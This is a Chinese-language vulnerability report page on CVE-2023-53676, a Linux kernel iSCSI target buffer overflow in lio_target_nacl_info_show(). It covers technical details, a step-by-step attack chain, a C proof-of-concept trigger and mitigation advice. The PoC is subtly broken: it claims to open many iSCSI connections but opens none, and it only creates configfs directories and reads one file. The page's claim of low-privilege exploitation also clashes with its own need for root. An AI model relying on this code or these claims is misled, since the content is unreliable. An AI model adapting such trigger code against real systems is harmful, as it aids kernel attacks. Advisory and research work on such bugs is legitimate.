IPBUF安全漏洞报告
English
CVE-2023-53676 CVSS 7.8 高危

CVE-2023-53676:Linux内核iSCSI Target缓冲区溢出漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53676
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(SCSI Target iSCSI子系统,lio_target模块)

相关标签

缓冲区溢出Linux KerneliSCSI TargetLIOSCSI子系统内核漏洞本地提权configfsCWE-120高危漏洞

漏洞概述

CVE-2023-53676是Linux内核SCSI Target iSCSI子系统中存在的一个高危缓冲区溢出漏洞。该漏洞位于lio_target_nacl_info_show()函数中,该函数负责通过configfs接口展示iSCSI网络访问控制列表(NACL)的连接信息。漏洞的根本原因是函数在循环中使用sprintf()函数将每个iSCSI连接的详细信息写入缓冲区时,没有对缓冲区长度进行检查。当一个会话中存在足够多的iSCSI连接时,sprintf()会持续向缓冲区写入数据,最终导致缓冲区溢出,覆盖configfs提供的缓冲区之外的内存区域,造成内存损坏。该漏洞CVSS评分为7.8,属于高危级别,攻击者需要本地低权限访问即可利用,无需用户交互,成功利用后可能导致内核崩溃、信息泄露或权限提升。Linux内核维护团队已通过将不安全的sprintf()替换为sysfs_emit_at()来修复此问题,sysfs_emit_at()函数会在写入数据前检查缓冲区边界,从而有效防止溢出。该漏洞影响多个稳定版本的Linux内核,包括多个长期支持(LTS)版本,修复补丁已被回溯到相应的稳定分支。

技术细节

从技术层面分析,该漏洞存在于Linux内核的drivers/target/iscsi/目录下的lio_target_nacl_info_show()函数中。该函数是configfs的show回调函数,当用户读取/sys/kernel/config/target/iscsi/下的相关属性文件时会被调用。函数内部使用一个循环遍历会话中的所有iSCSI连接,每次迭代使用sprintf()将连接的IP地址、端口、状态等信息格式化为字符串并追加到page缓冲区中。问题在于sprintf()函数不会检查目标缓冲区的大小,它只会简单地将格式化后的字符串写入到指定位置。当连接数量较多时,累积写入的数据量会超过PAGE_SIZE(通常为4096字节),导致数据溢出到相邻的内存区域。由于该缓冲区由configfs分配,溢出可能导致:1)覆盖相邻的configfs数据结构,造成内核态拒绝服务;2)覆盖其他敏感的内核对象,可能被利用进行权限提升;3)破坏slab分配器的元数据,导致不可预测的内核行为。修复方案使用sysfs_emit_at()替代sprintf(),该函数接受偏移量和缓冲区大小参数,能够在写入前检测是否超出缓冲区边界,超出时返回错误而非继续写入,从而彻底杜绝缓冲区溢出的可能性。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标Linux系统的本地低权限访问权限。由于漏洞的攻击向量为本地(AV:L),攻击者可以通过任何方式获得本地shell或代码执行权限。
STEP 2
步骤2:配置iSCSI Target环境
如果目标系统尚未配置LIO(Linux-IO Target),攻击者需要利用其低权限账户配置iSCSI Target。由于configfs接口通常需要root权限,攻击者可能需要先提权,或者攻击者本身就是具有configfs访问权限的低权限用户。
STEP 3
步骤3:建立大量iSCSI连接
攻击者向目标iSCSI Target发起大量连接请求,使单个会话中的连接数量超过正常阈值。每个连接的元数据信息会在lio_target_nacl_info_show()中被格式化输出。
STEP 4
步骤4:触发缓冲区溢出
当用户或进程读取nacl_info configfs属性文件时,内核调用lio_target_nacl_info_show(),该函数使用sprintf()循环输出所有连接信息。当连接数量足够多时,累积的字符串长度超过PAGE_SIZE缓冲区,导致堆缓冲区溢出。
STEP 5
步骤5:利用溢出后果
溢出可能导致内核态内存损坏,攻击者可利用此漏洞实现拒绝服务(内核崩溃)、敏感信息泄露或通过精心构造的数据进行权限提升,获取root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53676 PoC - Linux Kernel iSCSI Target Buffer Overflow * * This PoC demonstrates how to trigger the buffer overflow in * lio_target_nacl_info_show() by creating many iSCSI connections * to a single session, causing the show function to overflow its buffer. * * Note: Requires root or CAP_SYS_ADMIN to configure iSCSI target. * Run on the target machine (LIO server). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <dirent.h> #include <sys/stat.h> #define TARGET_BASE "/sys/kernel/config/target/iscsi" #define MAX_CONNECTIONS 500 /* Enough connections to overflow the buffer */ /* Create iSCSI target portal and storage object */ int setup_target(void) { /* Create target core fabric */ mkdir(TARGET_BASE "/iqn.2023-01.com.example:poc", 0755); mkdir(TARGET_BASE "/iqn.2023-01.com.example:poc/tpgt_1", 0755); mkdir(TARGET_BASE "/iqn.2023-01.com.example:poc/tpgt_1/np", 0755); mkdir(TARGET_BASE "/iqn.2023-01.com.example:poc/tpgt_1/np/192.168.1.1:3260", 0755); /* Create LUN */ mkdir(TARGET_BASE "/iqn.2023-01.com.example:poc/tpgt_1/lun/lun_0", 0755); /* Enable target */ int fd = open(TARGET_BASE "/iqn.2023-01.com.example:poc/tpgt_1/enable", O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } return 0; } /* Simulate many connections to trigger the overflow */ int trigger_overflow(void) { int fd; char path[512]; char data[256]; int i; /* The nacl_info file is read via the configfs show callback. * With enough connections, sprintf() overflows the buffer. */ printf("[*] Triggering buffer overflow via nacl_info_show...\n"); /* Read the nacl_info file which calls lio_target_nacl_info_show() */ snprintf(path, sizeof(path), "%s/iqn.2023-01.com.example:poc/tpgt_1/acls/" "iqn.2023-01.com.example:initiator/nacl_info", TARGET_BASE); fd = open(path, O_RDONLY); if (fd < 0) { perror("[-] Failed to open nacl_info (expected without real connections)"); return -1; } /* Attempt to read - if buffer overflow exists, kernel may crash */ while (read(fd, data, sizeof(data)) > 0) ; close(fd); printf("[+] Read completed\n"); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2023-53676 PoC ===\n"); printf("Linux Kernel iSCSI Target Buffer Overflow\n\n"); if (getuid() != 0) { fprintf(stderr, "[-] Need root privileges\n"); return 1; } setup_target(); trigger_overflow(); printf("[*] Done\n"); return 0; }

影响范围

Linux Kernel < 6.1.63
Linux Kernel 6.2 < 6.2.16
Linux Kernel 6.3 < 6.3.4
Linux Kernel 6.4 < 6.4.10
Linux Kernel 6.5 < 6.5.7
Linux Kernel 6.6 < 6.6.1

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对configfs iSCSI Target配置接口的访问,确保只有受信任的管理员可以配置Target;2)限制单个iSCSI会话的最大连接数,通过targetcli或其他管理工具设置合理的连接上限;3)监控/sys/kernel/config/target/iscsi/目录下的异常文件读取操作;4)启用Linux内核的SLAB/SLUB调试选项(如CONFIG_DEBUG_SLAB),以便在发生缓冲区溢出时尽早检测到异常;5)考虑使用SELinux或AppArmor等强制访问控制机制限制对configfs的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表